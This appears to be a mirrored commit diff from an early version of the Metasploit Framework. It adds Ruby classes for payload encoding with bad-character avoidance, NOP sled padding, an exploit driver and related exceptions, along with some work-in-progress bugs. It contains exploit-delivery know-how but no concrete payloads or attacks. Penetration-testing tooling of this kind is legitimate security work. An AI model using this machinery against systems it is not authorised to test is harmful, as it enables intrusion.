mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-16 01:21:15 +02:00
worked on payload encoding, exploit driver wrapper, platforms updates, spoon would probably hate it
git-svn-id: file:///home/svn/incoming/trunk@2744 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
cc2c80586c
commit
f1691c5470
@ -1,9 +1,10 @@
|
|||||||
- exploit kick-off
|
- switch to x86 from ia32
|
||||||
- payload generation
|
- exploit kick-off
|
||||||
- generate payload for target
|
X - payload generation
|
||||||
- encoder payload for target
|
X - generate payload for target
|
||||||
- loop encoders on failure
|
X - encoder payload for target
|
||||||
- pad nops
|
X - loop encoders on failure
|
||||||
|
X - pad nops
|
||||||
- handler init
|
- handler init
|
||||||
- setup handler
|
- setup handler
|
||||||
- start handler
|
- start handler
|
||||||
|
@ -63,7 +63,8 @@ class Payload
|
|||||||
((ds = payload.datastore.to_s) and ds.length > 0) ? ds += "\n" : ds = ''
|
((ds = payload.datastore.to_s) and ds.length > 0) ? ds += "\n" : ds = ''
|
||||||
|
|
||||||
buf = Buffer.comment(
|
buf = Buffer.comment(
|
||||||
"#{payload.refname} - #{len} bytes - http://www.metasploit.com\n" +
|
"#{payload.refname} - #{len} bytes\n" +
|
||||||
|
"http://www.metasploit.com\n" +
|
||||||
"#{ds}" +
|
"#{ds}" +
|
||||||
((opts['Encoder']) ? "Encoder=" + opts['Encoder'].refname + "\n" : ''), fmt) + buf
|
((opts['Encoder']) ? "Encoder=" + opts['Encoder'].refname + "\n" : ''), fmt) + buf
|
||||||
end
|
end
|
||||||
|
@ -20,10 +20,9 @@ require 'msf/core/data_store'
|
|||||||
require 'msf/core/option_container'
|
require 'msf/core/option_container'
|
||||||
|
|
||||||
# Framework context and core classes
|
# Framework context and core classes
|
||||||
require 'msf/core/module_manager'
|
require 'msf/core/framework'
|
||||||
require 'msf/core/session_manager'
|
require 'msf/core/session_manager'
|
||||||
require 'msf/core/session'
|
require 'msf/core/session'
|
||||||
require 'msf/core/framework'
|
|
||||||
|
|
||||||
# Pseudo-modules
|
# Pseudo-modules
|
||||||
require 'msf/core/handler'
|
require 'msf/core/handler'
|
||||||
|
@ -12,8 +12,8 @@ require 'msf/core/module/reference.rb.ut'
|
|||||||
require 'msf/core/module/target.rb.ut'
|
require 'msf/core/module/target.rb.ut'
|
||||||
|
|
||||||
require 'msf/core/exploit.rb.ut'
|
require 'msf/core/exploit.rb.ut'
|
||||||
require 'msf/core/exploit/remote/tcp.rb.ut'
|
require 'msf/core/exploit/tcp.rb.ut'
|
||||||
require 'msf/core/exploit/remote/dcerpc.rb.ut'
|
require 'msf/core/exploit/dcerpc.rb.ut'
|
||||||
|
|
||||||
class Msf::TestSuite
|
class Msf::TestSuite
|
||||||
def self.suite
|
def self.suite
|
||||||
|
@ -15,6 +15,13 @@ ARCH_IA32 = 'ia32'
|
|||||||
ARCH_MIPS = 'mips'
|
ARCH_MIPS = 'mips'
|
||||||
ARCH_PPC = 'ppc'
|
ARCH_PPC = 'ppc'
|
||||||
ARCH_SPARC = 'sparc'
|
ARCH_SPARC = 'sparc'
|
||||||
|
ARCH_TYPES =
|
||||||
|
[
|
||||||
|
ARCH_IA32,
|
||||||
|
ARCH_MIPS,
|
||||||
|
ARCH_PPC,
|
||||||
|
ARCH_SPARC
|
||||||
|
]
|
||||||
|
|
||||||
#
|
#
|
||||||
# Module types
|
# Module types
|
||||||
@ -34,4 +41,14 @@ MODULE_TYPES =
|
|||||||
MODULE_RECON
|
MODULE_RECON
|
||||||
]
|
]
|
||||||
|
|
||||||
|
#
|
||||||
|
# Module rankings
|
||||||
|
#
|
||||||
|
LowRanking = 100
|
||||||
|
AverageRanking = 200
|
||||||
|
NormalRanking = 300
|
||||||
|
GoodRanking = 400
|
||||||
|
GreatRanking = 500
|
||||||
|
ExcellentRanking = 600
|
||||||
|
|
||||||
end
|
end
|
||||||
|
205
lib/msf/core/encoded_payload.rb
Normal file
205
lib/msf/core/encoded_payload.rb
Normal file
@ -0,0 +1,205 @@
|
|||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# EncodedPayload
|
||||||
|
# --------------
|
||||||
|
#
|
||||||
|
# This class wrappers an encoded payload buffer and the means used to create
|
||||||
|
# one.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class EncodedPayload
|
||||||
|
|
||||||
|
include Framework::Offspring
|
||||||
|
|
||||||
|
#
|
||||||
|
# Creates an encoded payload instance
|
||||||
|
#
|
||||||
|
def self.create(framework, pinst, reqs)
|
||||||
|
# Create the encoded payload instance
|
||||||
|
p = EncodedPayload.new(framework, pinst, reqs)
|
||||||
|
|
||||||
|
p.generate
|
||||||
|
|
||||||
|
return p
|
||||||
|
end
|
||||||
|
|
||||||
|
def initialize(framework, pinst, reqs)
|
||||||
|
self.framework = framework
|
||||||
|
self.pinst = pinst
|
||||||
|
self.reqs = reqs
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the full encoded payload
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
raw = nil
|
||||||
|
encoded = nil
|
||||||
|
nop_sled_size = 0
|
||||||
|
nop_sled = nil
|
||||||
|
|
||||||
|
# Generate the raw version of the payload first
|
||||||
|
generate_raw()
|
||||||
|
|
||||||
|
# Encode the payload
|
||||||
|
encode()
|
||||||
|
|
||||||
|
# Build the NOP sled
|
||||||
|
generate_sled()
|
||||||
|
|
||||||
|
# Finally, set the complete payload definition
|
||||||
|
encoded = (nop_sled || '') + encoded
|
||||||
|
|
||||||
|
# Return the complete payload
|
||||||
|
return encoded
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generates the raw payload from the payload instance. This populates the
|
||||||
|
# raw attribute.
|
||||||
|
#
|
||||||
|
def generate_raw
|
||||||
|
raw = (reqs['Prepend'] || '') + pisnt.generate + (reqs['Append'] || '')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scans for a compatible encoder using ranked precedence and populates the
|
||||||
|
# encoded attribute.
|
||||||
|
#
|
||||||
|
def encode
|
||||||
|
# If the exploit has bad characters, we need to run the list of encoders
|
||||||
|
# in ranked precedence and try to encode without them.
|
||||||
|
if (reqs['BadChars'])
|
||||||
|
pinst.compatible_encoders.each { |enc|
|
||||||
|
encoder = enc.new
|
||||||
|
|
||||||
|
# Try encoding with the current encoder
|
||||||
|
begin
|
||||||
|
p.encoded = encoder.encode(raw, reqs['BadChars'])
|
||||||
|
rescue
|
||||||
|
wlog("#{pinst.refname}: Failed to encode payload with encoder #{encoder.refname}: #{$!}",
|
||||||
|
'core', LEV_1)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Minimum number of NOPs to use
|
||||||
|
min = reqs['MinNops'] || 0
|
||||||
|
|
||||||
|
# Check to see if we have enough room for the minimum requirements
|
||||||
|
if ((reqs['Space']) and
|
||||||
|
(reqs['Space'] < encoded.length + min))
|
||||||
|
wlog("#{pinst.refname}: Encoded payload version is too large with encoder #{encoder.refname}",
|
||||||
|
'core', LEV_1)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
# If the encoded payload is nil, raise an exception saying that we
|
||||||
|
# suck at life.
|
||||||
|
if (encoded == nil)
|
||||||
|
raise NoEncodersSucceededError,
|
||||||
|
"#{pinst.refname}: All encoders failed to encode.",
|
||||||
|
caller
|
||||||
|
end
|
||||||
|
# If there are no bad characters, then the raw is the same as the
|
||||||
|
# encoded
|
||||||
|
else
|
||||||
|
encoded = raw
|
||||||
|
end
|
||||||
|
|
||||||
|
# Prefix the prepend encoder value
|
||||||
|
encoded = (reqs['PrependEncoder'] || '') + encoded
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Construct a NOP sled if necessary
|
||||||
|
#
|
||||||
|
def generate_sled
|
||||||
|
min = reqs['MinNops'] || 0
|
||||||
|
space = reqs['Space']
|
||||||
|
|
||||||
|
nop_sled_size = 0
|
||||||
|
|
||||||
|
# Calculate the number of NOPs to pad out the buffer with based on the
|
||||||
|
# requirements. If there was a space requirement, check to see if
|
||||||
|
# there's any room at all left for a sled.
|
||||||
|
if ((space) and
|
||||||
|
(space > encoded.length))
|
||||||
|
nop_sled_size = reqs['Space'] - encoded.length
|
||||||
|
end
|
||||||
|
|
||||||
|
# If the maximum number of NOPs has been exceeded, wrap it back down.
|
||||||
|
if ((reqs['MaxNops']) and
|
||||||
|
(reqs['MaxNops'] > sled_size))
|
||||||
|
nop_sled_size = reqs['MaxNops']
|
||||||
|
end
|
||||||
|
|
||||||
|
# Now construct the actual sled
|
||||||
|
if (nop_sled_size > 0)
|
||||||
|
pinst.compatible_nops.each { |nopmod|
|
||||||
|
# Create an instance of the nop module
|
||||||
|
nop = nopmod.new
|
||||||
|
|
||||||
|
begin
|
||||||
|
nop_sled = nop.generate_sled(nop_sled_size,
|
||||||
|
'BadChars' => reqs['BadChars'],
|
||||||
|
'SaveRegisters' => reqs['SaveRegisters'])
|
||||||
|
rescue
|
||||||
|
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload: #{$!}",
|
||||||
|
'core', LEV_1)
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
if (nop_sled == nil)
|
||||||
|
raise NoNopsSucceededError,
|
||||||
|
"#{pinst.refname}: All NOP generators failed to construct sled for.",
|
||||||
|
caller
|
||||||
|
end
|
||||||
|
else
|
||||||
|
nop_sled = ''
|
||||||
|
end
|
||||||
|
|
||||||
|
return nop_sled
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# The raw version of the payload
|
||||||
|
#
|
||||||
|
attr_reader :raw
|
||||||
|
#
|
||||||
|
# The encoded version of the raw payload plus the NOP sled
|
||||||
|
# if one was generated.
|
||||||
|
#
|
||||||
|
attr_reader :encoded
|
||||||
|
#
|
||||||
|
# The size of the NOP sled
|
||||||
|
#
|
||||||
|
attr_reader :nop_sled_size
|
||||||
|
#
|
||||||
|
# The NOP sled itself
|
||||||
|
#
|
||||||
|
attr_reader :nop_sled
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
attr_writer :raw
|
||||||
|
attr_writer :encoded
|
||||||
|
attr_writer :nop_sled_size
|
||||||
|
attr_writer :nop_sled
|
||||||
|
attr_writer :payload
|
||||||
|
|
||||||
|
#
|
||||||
|
# The payload instance used to generate the payload
|
||||||
|
#
|
||||||
|
attr_accessor :pinst
|
||||||
|
#
|
||||||
|
# The requirements used for generation
|
||||||
|
#
|
||||||
|
attr_accessor :reqs
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
@ -44,15 +44,19 @@ class OptionValidateError < ArgumentError
|
|||||||
attr_reader :options
|
attr_reader :options
|
||||||
end
|
end
|
||||||
|
|
||||||
#####
|
class ValidationError < ArgumentError
|
||||||
#####
|
include Exception
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"One or more requirements could not be validated."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Encoding exceptions
|
# Encoding exceptions
|
||||||
#
|
#
|
||||||
##
|
##
|
||||||
#####
|
|
||||||
#####
|
|
||||||
|
|
||||||
class EncodingError < RuntimeError
|
class EncodingError < RuntimeError
|
||||||
include Exception
|
include Exception
|
||||||
@ -99,15 +103,18 @@ class BadcharError < EncodingError
|
|||||||
attr_reader :buf, :index, :stub_size, :char
|
attr_reader :buf, :index, :stub_size, :char
|
||||||
end
|
end
|
||||||
|
|
||||||
#####
|
class NoEncodersSucceededError < EncodingError
|
||||||
#####
|
|
||||||
|
def to_s
|
||||||
|
"No encoders encoded the buffer successfully."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Exploit exceptions
|
# Exploit exceptions
|
||||||
#
|
#
|
||||||
##
|
##
|
||||||
#####
|
|
||||||
#####
|
|
||||||
|
|
||||||
module ExploitError
|
module ExploitError
|
||||||
include Exception
|
include Exception
|
||||||
@ -117,4 +124,57 @@ module ExploitError
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
class MissingTargetError < ArgumentError
|
||||||
|
include ExploitError
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"A target has not been selected."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class MissingPayloadError < ArgumentError
|
||||||
|
include ExploitError
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"A payload has not been selected."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class IncompatiblePayloadError < ArgumentError
|
||||||
|
include ExploitError
|
||||||
|
|
||||||
|
def initialize(pname = nil)
|
||||||
|
@pname = pname
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"#{pname} is not a compatible payload."
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_reader :pname
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# NOP exceptions
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
module NopError
|
||||||
|
include Exception
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"A NOP generator error occurred."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class NoNopsSucceededError < RuntimeError
|
||||||
|
include NopError
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"No NOP generators succeeded."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -148,6 +148,42 @@ class Exploit < Msf::Module
|
|||||||
def exploit
|
def exploit
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generates the encoded version of the supplied payload using the payload
|
||||||
|
# requirements specific to this exploit. The encoded instance is returned
|
||||||
|
# to the caller. This method is exposed in the manner that it is such
|
||||||
|
# that passive exploits and re-generate an encoded payload on the fly
|
||||||
|
# rather than having to use the pre-generated one.
|
||||||
|
#
|
||||||
|
# The return value is an EncodedPayload instance.
|
||||||
|
#
|
||||||
|
def generate_payload(pinst = nil)
|
||||||
|
if (target == nil)
|
||||||
|
raise MissingTargetError, "No target has been specified.",
|
||||||
|
caller
|
||||||
|
end
|
||||||
|
|
||||||
|
# If a payload instance was supplied, use it, otherwise
|
||||||
|
# use the active payload instance
|
||||||
|
real_payload = (pinst) ? pinst : self.active_payload
|
||||||
|
|
||||||
|
if (real_payload == nil)
|
||||||
|
raise MissingPayloadError, "No payload has been selected.",
|
||||||
|
caller
|
||||||
|
end
|
||||||
|
|
||||||
|
# Duplicate the exploit payload requirements
|
||||||
|
reqs = self.payload
|
||||||
|
|
||||||
|
# Pass save register requirements to the NOP generator
|
||||||
|
reqs['SaveRegisters'] = nop_save_registers
|
||||||
|
|
||||||
|
# Set the encoded payload to the result of the encoding process
|
||||||
|
encoded_payload = EncodedPayload.create(framework, real_payload, reqs)
|
||||||
|
|
||||||
|
return encoded_payload
|
||||||
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Feature detection
|
# Feature detection
|
||||||
@ -308,9 +344,17 @@ class Exploit < Msf::Module
|
|||||||
#
|
#
|
||||||
attr_reader :default_target
|
attr_reader :default_target
|
||||||
#
|
#
|
||||||
# The active payload instance.
|
# The payload requirement hash.
|
||||||
#
|
#
|
||||||
attr_reader :payload
|
attr_reader :payload
|
||||||
|
#
|
||||||
|
# The active payload instance.
|
||||||
|
#
|
||||||
|
attr_accessor :active_payload
|
||||||
|
#
|
||||||
|
# The encoded payload instance.
|
||||||
|
#
|
||||||
|
attr_accessor :encoded_payload
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
|
@ -16,12 +16,10 @@ class Exploit::Remote::DCERPC::UnitTest < Test::Unit::TestCase
|
|||||||
def test_tcp
|
def test_tcp
|
||||||
e = Stub.new
|
e = Stub.new
|
||||||
|
|
||||||
assert_equal(4, e.options.length, "invalid options length")
|
assert_equal(2, e.options.length, "invalid options length")
|
||||||
assert_equal(true, e.options.get('RHOST').required?, "invalid RHOST requirement")
|
assert_equal(true, e.options.get('RHOST').required?, "invalid RHOST requirement")
|
||||||
assert_equal(true, e.options.get('RPORT').required?, "invalid RPORT requirement")
|
assert_equal(true, e.options.get('RPORT').required?, "invalid RPORT requirement")
|
||||||
assert_equal(135, e.options.get('RPORT').default, "invalid RPORT default")
|
assert_equal(135, e.options.get('RPORT').default, "invalid RPORT default")
|
||||||
assert_equal(false, e.options.get('LHOST').required?, "invalid LHOST requirement")
|
|
||||||
assert_equal(false, e.options.get('LPORT').required?, "invalid LPORT requirement")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -16,11 +16,9 @@ class Exploit::Remote::Tcp::UnitTest < Test::Unit::TestCase
|
|||||||
def test_tcp
|
def test_tcp
|
||||||
e = Stub.new
|
e = Stub.new
|
||||||
|
|
||||||
assert_equal(4, e.options.length, "invalid options length")
|
assert_equal(2, e.options.length, "invalid options length")
|
||||||
assert_equal(true, e.options.get('RHOST').required?, "invalid RHOST requirement")
|
assert_equal(true, e.options.get('RHOST').required?, "invalid RHOST requirement")
|
||||||
assert_equal(true, e.options.get('RPORT').required?, "invalid RPORT requirement")
|
assert_equal(true, e.options.get('RPORT').required?, "invalid RPORT requirement")
|
||||||
assert_equal(false, e.options.get('LHOST').required?, "invalid LHOST requirement")
|
|
||||||
assert_equal(false, e.options.get('LPORT').required?, "invalid LPORT requirement")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
185
lib/msf/core/exploit_driver.rb
Normal file
185
lib/msf/core/exploit_driver.rb
Normal file
@ -0,0 +1,185 @@
|
|||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# ExploitDriver
|
||||||
|
# -------------
|
||||||
|
#
|
||||||
|
# This class drives the exploitation process from start to finish for a given
|
||||||
|
# exploit module instance. It's responsible for payload generation, encoding,
|
||||||
|
# and padding as well as initialization handlers and finally launching the
|
||||||
|
# exploit.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class ExploitDriver
|
||||||
|
|
||||||
|
def initialize(framework)
|
||||||
|
self.payloads = {}
|
||||||
|
self.payload = nil
|
||||||
|
self.exploit = nil
|
||||||
|
self.target = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Stores the supplied exploit as the active exploit and filters compatible
|
||||||
|
# payloads and architectures based on the exploit's target platform
|
||||||
|
# information.
|
||||||
|
#
|
||||||
|
def exploit=(exploit)
|
||||||
|
@exploit = exploit
|
||||||
|
|
||||||
|
filter_payloads
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Specification of the exploit target index
|
||||||
|
#
|
||||||
|
def target_idx=(target_idx)
|
||||||
|
# Make sure the target index is valid
|
||||||
|
if (target_idx >= exploit.targets.length)
|
||||||
|
raise Rex::ArgumentError, "Invalid target index.", caller
|
||||||
|
end
|
||||||
|
|
||||||
|
# Set the active target
|
||||||
|
target = exploit.targets[target_idx]
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the active target instance for the specified exploit module. This
|
||||||
|
# causes the driver to filter payloads again.
|
||||||
|
#
|
||||||
|
def target=(target)
|
||||||
|
@target = target
|
||||||
|
|
||||||
|
filter_payloads
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the active payload and performs one last sanity check
|
||||||
|
#
|
||||||
|
def payload=(payload)
|
||||||
|
# Don't allow payload selection to occur until a target has been
|
||||||
|
# specified.
|
||||||
|
if (target == nil)
|
||||||
|
raise MissingTargetError,
|
||||||
|
"A payload cannot be selected until a target is specified.",
|
||||||
|
caller
|
||||||
|
end
|
||||||
|
|
||||||
|
# Make sure the payload is compatible after all
|
||||||
|
if (compatible_payload?(payload) == false)
|
||||||
|
raise IncompatiblePayloadError.new(payload.refname),
|
||||||
|
"Incompatible payload", caller
|
||||||
|
end
|
||||||
|
|
||||||
|
@payload = payload
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Checks to see if the supplied payload is compatible with the
|
||||||
|
# current exploit.
|
||||||
|
#
|
||||||
|
def compatible_payload?(payload)
|
||||||
|
return ((payload.platform & exploit.platform).empty? == false)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Exploit execution
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
#
|
||||||
|
# Makes sure everything's in tip-top condition prior to launching the
|
||||||
|
# exploit. For things that aren't good to go, an exception is thrown.
|
||||||
|
#
|
||||||
|
def validate
|
||||||
|
# First, validate that a target has been selected
|
||||||
|
if (target == nil)
|
||||||
|
raise MissingTargetError,
|
||||||
|
"A payload cannot be selected until a target is specified.",
|
||||||
|
caller
|
||||||
|
end
|
||||||
|
|
||||||
|
# Next, validate that a payload has been selected
|
||||||
|
if (payload == nil)
|
||||||
|
raise MissingPayloadError,
|
||||||
|
"A payload has not been selected.", caller
|
||||||
|
end
|
||||||
|
|
||||||
|
# Finally, validate options on the exploit module to ensure that things
|
||||||
|
# are ready to operate as they should.
|
||||||
|
exploit.options.validate()
|
||||||
|
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Kicks off an exploitation attempt and performs the following four major
|
||||||
|
# operations:
|
||||||
|
#
|
||||||
|
# - Generates the payload
|
||||||
|
# - Initializes & monitors the handler
|
||||||
|
# - Launches the exploit
|
||||||
|
# - Cleans up the handler
|
||||||
|
#
|
||||||
|
def run
|
||||||
|
# First thing's first -- validate the state. Make sure all requirement
|
||||||
|
# parameters are set, including those that are derived from the
|
||||||
|
# datastore.
|
||||||
|
validate()
|
||||||
|
|
||||||
|
# After validation has occurred, it's time to set some values on the
|
||||||
|
# exploit instance and begin preparing the payload
|
||||||
|
exploit.target = target
|
||||||
|
|
||||||
|
# Generate the encoded version of the supplied payload on the exploit
|
||||||
|
# module instance
|
||||||
|
exploit.generate_payload(payload)
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_reader :exploit
|
||||||
|
attr_reader :target
|
||||||
|
attr_reader :payloads
|
||||||
|
attr_reader :payload
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
#
|
||||||
|
# Filters out compatible payloads based on the current
|
||||||
|
#
|
||||||
|
def filter_payloads
|
||||||
|
payloads = {}
|
||||||
|
|
||||||
|
# Enumerate each target for this exploit
|
||||||
|
exploit.targets.each { |curr_target|
|
||||||
|
# If there's an active target, then skip all other targets
|
||||||
|
next if (target && target != curr_target)
|
||||||
|
|
||||||
|
# Enumerate each payload module, intersecting the supported platforms
|
||||||
|
# to see if there is any match at all. If so, the payload name is
|
||||||
|
# added to the list of acceptable payloads.
|
||||||
|
framework.payloads.each_module(
|
||||||
|
'Platform' => target.platforms) { |name, pmod|
|
||||||
|
|
||||||
|
# If the payload's size is larger than the amount of available space,
|
||||||
|
# then we can't allow it
|
||||||
|
if (exploit.payload_space > 0 and
|
||||||
|
exploit.payload_space < framework.payloads.sizes[name])
|
||||||
|
dlog("Payload #{name} is too big for exploit #{exploit.refname} (#{exploit.payload_space} < #{framework.payloads.sizes[name]})",
|
||||||
|
'core', LEV_2)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
payloads[name] = pmod
|
||||||
|
}
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_writer :payloads
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
@ -12,10 +12,22 @@ module Msf
|
|||||||
#
|
#
|
||||||
###
|
###
|
||||||
class Framework
|
class Framework
|
||||||
|
|
||||||
|
#
|
||||||
|
# Mixin meant to be included into all classes that can have instances that
|
||||||
|
# should be tied to the framework, such as modules.
|
||||||
|
#
|
||||||
|
module Offspring
|
||||||
|
attr_accessor :framework
|
||||||
|
end
|
||||||
|
|
||||||
|
require 'msf/core/module_manager'
|
||||||
|
|
||||||
def initialize()
|
def initialize()
|
||||||
self.events = EventDispatcher.new
|
self.events = EventDispatcher.new
|
||||||
self.modules = ModuleManager.new
|
self.modules = ModuleManager.new
|
||||||
|
|
||||||
|
self.modules.framework = self
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -18,9 +18,9 @@ class Module
|
|||||||
# Make include public so we can runtime extend
|
# Make include public so we can runtime extend
|
||||||
public_class_method :include
|
public_class_method :include
|
||||||
|
|
||||||
UpdateableOptions = [ "Name", "Description", "Alias" ]
|
|
||||||
|
|
||||||
class <<self
|
class <<self
|
||||||
|
include Framework::Offspring
|
||||||
|
|
||||||
#
|
#
|
||||||
# The module's name that is assigned it it by the framework
|
# The module's name that is assigned it it by the framework
|
||||||
# or derived from the path that the module is loaded from.
|
# or derived from the path that the module is loaded from.
|
||||||
@ -28,6 +28,13 @@ class Module
|
|||||||
attr_accessor :refname
|
attr_accessor :refname
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the class reference to the framework
|
||||||
|
#
|
||||||
|
def framework
|
||||||
|
return self.class.framework
|
||||||
|
end
|
||||||
|
|
||||||
require 'msf/core/module/author'
|
require 'msf/core/module/author'
|
||||||
require 'msf/core/module/platform_list'
|
require 'msf/core/module/platform_list'
|
||||||
require 'msf/core/module/reference'
|
require 'msf/core/module/reference'
|
||||||
@ -173,14 +180,16 @@ class Module
|
|||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
|
UpdateableOptions = [ "Name", "Description", "Alias" ]
|
||||||
|
|
||||||
# Sets the modules unsupplied info fields to their default values
|
# Sets the modules unsupplied info fields to their default values
|
||||||
def set_defaults
|
def set_defaults
|
||||||
self.module_info = {
|
self.module_info = {
|
||||||
'Name' => 'No module name',
|
'Name' => 'No module name',
|
||||||
'Description' => 'No module description',
|
'Description' => 'No module description',
|
||||||
'Version' => '0',
|
'Version' => '0',
|
||||||
'Author' => '',
|
'Author' => nil,
|
||||||
'Arch' => '',
|
'Arch' => nil,
|
||||||
'Platform' => '',
|
'Platform' => '',
|
||||||
'Ref' => nil,
|
'Ref' => nil,
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
#!/usr/bin/ruby
|
require 'abbrev'
|
||||||
|
|
||||||
#
|
#
|
||||||
# This is the definitions of which Platforms the framework knows about. The
|
# This is the definitions of which Platforms the framework knows about. The
|
||||||
@ -12,6 +12,39 @@ class Msf::Module::Platform
|
|||||||
# actually, having a argument of '' is what to do for wanting 'all'
|
# actually, having a argument of '' is what to do for wanting 'all'
|
||||||
Short = "all"
|
Short = "all"
|
||||||
|
|
||||||
|
class <<self
|
||||||
|
attr_accessor :full_name
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the "real" name of the module instance, accouting for potentially
|
||||||
|
# aliased class names.
|
||||||
|
#
|
||||||
|
def self.realname
|
||||||
|
# Use the cached version if one has been set
|
||||||
|
return full_name if (full_name)
|
||||||
|
|
||||||
|
# Otherwise, generate it and cache it
|
||||||
|
names = []
|
||||||
|
c = Msf::Module::Platform
|
||||||
|
name.split('::')[3 .. -1].each { |part|
|
||||||
|
c = c.const_get(part)
|
||||||
|
if (c.const_defined?('RealName') == true)
|
||||||
|
names << c.const_get('RealName')
|
||||||
|
else
|
||||||
|
names << part
|
||||||
|
end
|
||||||
|
}
|
||||||
|
full_name = names.join(' ')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Calls the class method
|
||||||
|
#
|
||||||
|
def find_children
|
||||||
|
self.class.find_children
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# The magic to try to build out a Platform from a string
|
# The magic to try to build out a Platform from a string
|
||||||
#
|
#
|
||||||
@ -19,88 +52,264 @@ class Msf::Module::Platform
|
|||||||
# remove any whitespace and downcase
|
# remove any whitespace and downcase
|
||||||
str = str.gsub(' ', '').downcase
|
str = str.gsub(' ', '').downcase
|
||||||
|
|
||||||
|
# Start at the base platform module
|
||||||
mod = Msf::Module::Platform
|
mod = Msf::Module::Platform
|
||||||
|
|
||||||
|
# Scan forward, trying to find the end module
|
||||||
while str.length > 0
|
while str.length > 0
|
||||||
mod, str = _find_short(mod, str)
|
mod, str = find_portion(mod, str)
|
||||||
end
|
end
|
||||||
|
|
||||||
return mod
|
return mod
|
||||||
end
|
end
|
||||||
|
|
||||||
def find_children
|
#
|
||||||
self.class.find_children
|
# Finds all inherited children from a given module
|
||||||
end
|
#
|
||||||
|
|
||||||
# this is useful a lot of places, and should go into some
|
|
||||||
# library somewhere, or something
|
|
||||||
def self.find_children
|
def self.find_children
|
||||||
mod = self
|
constants.map { |c|
|
||||||
mod.constants.map { |n| mod.const_get(n) }.
|
const_get(c)
|
||||||
delete_if { |v| ! v.kind_of?(Class) || ! (v < mod) }
|
}.delete_if { |m|
|
||||||
|
!m.kind_of?(Class) || ! (m < self)
|
||||||
|
}.sort { |a, b|
|
||||||
|
a::Rank <=> b::Rank
|
||||||
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
# make private! I forget how! I suck!
|
#
|
||||||
def self._find_short(base, name)
|
# Builds the abbreviation set for every module starting from
|
||||||
# get a list of possible base classes, and sort them by
|
# a given point
|
||||||
# their relative ranks to each other
|
#
|
||||||
poss = base.find_children.sort { |a, b| a::Rank <=> b::Rank }
|
def self.build_child_platform_abbrev(mod)
|
||||||
|
# Flush out any non-class and non-inherited children
|
||||||
|
children = mod.find_children
|
||||||
|
|
||||||
|
